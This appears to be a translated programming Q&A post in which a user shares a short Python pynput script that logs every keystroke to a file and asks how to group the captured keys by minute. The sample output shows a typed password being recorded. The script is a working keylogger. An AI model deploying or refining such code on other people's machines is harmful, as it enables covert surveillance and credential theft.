【发布时间】:2018-05-07 17:37:54
【问题描述】:
from pynput.keyboard import Key, Listener
import logging
log_dir = "C:/Users/noswear/Desktop/Mail/"
logging.basicConfig(filename = (log_dir + "key_log.txt"),level = logging.DEBUG, format = '%(asctime)s:%(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press = on_press) as listener:
listener.join()
上面的程序给出这样的输出:
2018-05-07 20:54:56,020:'m'
2018-05-07 20:54:57,010:Key.backspace
2018-05-07 20:55:00,192:'p'
2018-05-07 20:55:00,366:'a'
2018-05-07 20:55:00,485:'s'
2018-05-07 20:55:00,695:'s'
2018-05-07 20:55:01,432:'w'
2018-05-07 20:55:01,653:'o'
2018-05-07 20:55:01,857:'r'
2018-05-07 20:55:02,056:'d'
我怎样才能按分钟组合在一起,一分钟内的所有击球都存储在一行中?
类似的东西
2018-05-07 20:54:mKey.backspace
2018-05-17 20:55:password
【问题讨论】:
-
也许在“def on_press”之前定义一个字符串,在on_press上连接字符串,然后在一分钟后调用join?定义一个计时器,把它叫出来?
-
也许你可以通过连接所有字母来解决这个问题,当出现空格或特殊字符时将它们分开
标签: python keystroke keylogger pynput